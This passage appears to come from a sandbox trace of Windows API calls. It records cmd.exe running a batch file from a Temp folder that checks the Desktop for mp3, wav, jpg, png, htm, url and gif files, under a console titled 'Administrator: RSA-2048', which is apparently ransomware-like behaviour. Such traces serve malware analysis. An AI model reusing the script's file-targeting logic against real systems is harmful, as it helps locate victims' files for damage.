lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp3 goto mp3\r\n\r\n") returned 2 [0037.721] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.721] GetFileType (hFile=0x74) returned 0x1 [0037.721] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.721] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0037.721] GetProcessHeap () returned 0x4e0000 [0037.721] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.721] GetProcessHeap () returned 0x4e0000 [0037.722] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.722] _tell (_FileHandle=3) returned 2140 [0037.722] _close (_FileHandle=3) returned 0 [0037.722] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.722] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.722] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.722] SetFilePointer (in: hFile=0x74, lDistanceToMove=2140, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0037.722] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.722] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0037.722] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1dd1, lpOverlapped=0x0) returned 1 [0037.722] SetFilePointer (in: hFile=0x74, lDistanceToMove=2165, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0037.722] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.wav goto wav\r\n\r\n") returned 25 [0037.723] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.723] GetFileType (hFile=0x74) returned 0x1 [0037.723] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.723] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0037.723] GetProcessHeap () returned 0x4e0000 [0037.723] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.723] GetProcessHeap () returned 0x4e0000 [0037.723] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.723] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.723] GetProcessHeap () returned 0x4e0000 [0037.723] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.723] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.723] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.723] GetProcessHeap () returned 0x4e0000 [0037.723] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.723] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.723] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.723] GetProcessHeap () returned 0x4e0000 [0037.723] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.723] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.723] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.723] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.723] GetProcessHeap () returned 0x4e0000 [0037.724] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.724] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.724] GetProcessHeap () returned 0x4e0000 [0037.724] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.724] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.724] GetProcessHeap () returned 0x4e0000 [0037.724] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.724] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.725] _tell (_FileHandle=3) returned 2165 [0037.725] _close (_FileHandle=3) returned 0 [0037.725] GetFullPathNameW (in: lpFileName="*.wav", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", lpFilePart=0x41eea8*="*.wav") returned 0x2b [0037.725] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.725] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.725] GetLastError () returned 0x2 [0037.725] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.725] GetLastError () returned 0x6 [0037.725] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.725] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.733] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.733] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.733] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.734] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.734] SetConsoleInputExeNameW () returned 0x1 [0037.734] GetConsoleOutputCP () returned 0x1b5 [0037.734] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.734] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.734] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.734] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.734] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.735] SetFilePointer (in: hFile=0x74, lDistanceToMove=2165, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0037.735] GetProcessHeap () returned 0x4e0000 [0037.735] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.735] GetProcessHeap () returned 0x4e0000 [0037.735] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.735] GetProcessHeap () returned 0x4e0000 [0037.735] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.735] GetProcessHeap () returned 0x4e0000 [0037.735] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.735] GetProcessHeap () returned 0x4e0000 [0037.735] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.735] GetProcessHeap () returned 0x4e0000 [0037.735] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.735] GetProcessHeap () returned 0x4e0000 [0037.735] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.735] GetProcessHeap () returned 0x4e0000 [0037.735] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.735] GetProcessHeap () returned 0x4e0000 [0037.735] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.735] GetProcessHeap () returned 0x4e0000 [0037.735] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.735] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.735] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0037.735] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1db8, lpOverlapped=0x0) returned 1 [0037.736] SetFilePointer (in: hFile=0x74, lDistanceToMove=2167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0037.736] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.wav goto wav\r\n\r\n") returned 2 [0037.736] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.736] GetFileType (hFile=0x74) returned 0x1 [0037.736] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.736] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0037.736] GetProcessHeap () returned 0x4e0000 [0037.736] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.736] GetProcessHeap () returned 0x4e0000 [0037.736] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.736] _tell (_FileHandle=3) returned 2167 [0037.736] _close (_FileHandle=3) returned 0 [0037.736] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.736] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.736] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.736] SetFilePointer (in: hFile=0x74, lDistanceToMove=2167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0037.737] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.737] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0037.737] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1db6, lpOverlapped=0x0) returned 1 [0037.737] SetFilePointer (in: hFile=0x74, lDistanceToMove=2192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0037.737] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.jpg goto jpg\r\n\r\n") returned 25 [0037.737] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.737] GetFileType (hFile=0x74) returned 0x1 [0037.737] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.737] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0037.737] GetProcessHeap () returned 0x4e0000 [0037.737] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.737] GetProcessHeap () returned 0x4e0000 [0037.737] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.737] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.737] GetProcessHeap () returned 0x4e0000 [0037.737] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.737] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.738] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.738] GetProcessHeap () returned 0x4e0000 [0037.738] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.738] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.738] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.738] GetProcessHeap () returned 0x4e0000 [0037.738] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.738] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.738] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.738] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.738] GetProcessHeap () returned 0x4e0000 [0037.738] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.738] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.738] GetProcessHeap () returned 0x4e0000 [0037.738] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.738] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.738] GetProcessHeap () returned 0x4e0000 [0037.738] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.738] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.739] _tell (_FileHandle=3) returned 2192 [0037.739] _close (_FileHandle=3) returned 0 [0037.739] GetFullPathNameW (in: lpFileName="*.jpg", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", lpFilePart=0x41eea8*="*.jpg") returned 0x2b [0037.739] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.739] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0x4f4c18 [0037.740] FindClose (in: hFindFile=0x4f4c18 | out: hFindFile=0x4f4c18) returned 1 [0037.740] GetConsoleTitleW (in: lpConsoleTitle=0x41f098, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.740] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0037.740] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x12) returned 0x4f4c18 [0037.740] GetProcessHeap () returned 0x4e0000 [0037.740] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4c18) returned 0x12 [0037.740] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0037.740] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ede0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.740] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.740] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.740] SetFilePointer (in: hFile=0x74, lDistanceToMove=2192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0037.740] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.740] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0037.740] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.740] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0037.741] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.741] GetFileType (hFile=0x74) returned 0x1 [0037.741] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0037.741] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.741] SetFilePointer (in: hFile=0x74, lDistanceToMove=2194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0037.741] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\npg") returned 2 [0037.741] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.741] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0037.741] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.741] GetFileType (hFile=0x74) returned 0x1 [0037.741] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0037.741] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.741] SetFilePointer (in: hFile=0x74, lDistanceToMove=2219, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0037.741] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.png goto png\r\n\r\n") returned 25 [0037.741] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.741] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0037.741] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.741] GetFileType (hFile=0x74) returned 0x1 [0037.742] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0037.742] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.742] SetFilePointer (in: hFile=0x74, lDistanceToMove=2221, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0037.742] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.png goto png\r\n") returned 2 [0037.742] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.742] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0037.742] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.742] GetFileType (hFile=0x74) returned 0x1 [0037.742] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0037.742] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.742] SetFilePointer (in: hFile=0x74, lDistanceToMove=2246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0037.742] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.htm goto htm\r\n") returned 25 [0037.742] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.742] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0037.742] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.742] GetFileType (hFile=0x74) returned 0x1 [0037.742] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0037.743] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.743] SetFilePointer (in: hFile=0x74, lDistanceToMove=2248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0037.743] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.htm goto htm\r\n") returned 2 [0037.743] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.743] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0037.743] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.743] GetFileType (hFile=0x74) returned 0x1 [0037.743] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0037.743] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.743] SetFilePointer (in: hFile=0x74, lDistanceToMove=2275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0037.743] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.html goto html\r\n") returned 27 [0037.743] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.743] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0037.743] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.743] GetFileType (hFile=0x74) returned 0x1 [0037.743] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0037.743] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.743] SetFilePointer (in: hFile=0x74, lDistanceToMove=2300, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0037.743] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.url goto url\r\n\r\n") returned 25 [0037.744] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.744] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0037.744] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.744] GetFileType (hFile=0x74) returned 0x1 [0037.744] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8fc [0037.744] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.744] SetFilePointer (in: hFile=0x74, lDistanceToMove=2325, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0037.744] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.gif goto gif\r\n") returned 25 [0037.744] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.744] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0037.744] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.744] GetFileType (hFile=0x74) returned 0x1 [0037.744] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x915 [0037.744] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, 